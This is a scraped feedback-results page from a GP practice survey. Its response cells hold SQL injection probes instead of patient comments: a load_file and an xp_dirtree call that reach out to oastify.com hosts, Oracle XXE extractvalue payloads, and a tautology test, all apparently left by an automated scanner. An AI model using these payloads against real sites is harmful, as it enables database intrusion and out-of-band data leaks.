Summary of past responses
You must include a field id or key in your graph shortcode.Recent responses
| Thinking about our GP practice… Overall, how was your experience of our service? | Please can you tell us why you gave your answer? | Please tell us about anything that we could have… | Date |
|---|---|---|---|
(select load_file(‘\r1t48asxsvh1fhd0yu7bz521ssywmpcd3fr7e42t.oastify.comqnp’)) | [10] | [11] | July 4, 2023 at 10:11 am |
Very good’;declare @q varchar(99);set @q=’ki6xp39q9oyuwautfno4gyju9lfp3it6kx8pvmjb.oasti’+’fy.comlhm’; exec master.dbo.xp_dirtree @q;– | [10] | [11] | July 4, 2023 at 10:11 am |
Very good’||(select extractvalue(xmltype(‘<!DOCTYPE root [ %szqag;]>’),’/l’) from dual)||’ | [10] | [11] | July 4, 2023 at 10:11 am |
(select extractvalue(xmltype(‘<!DOCTYPE root [ %szqag;]>’),’/l’) from dual) | [10] | [11] | July 4, 2023 at 10:11 am |
Very good92522929′ or ‘8542’=’8542 | [10] | [11] | July 4, 2023 at 10:11 am |
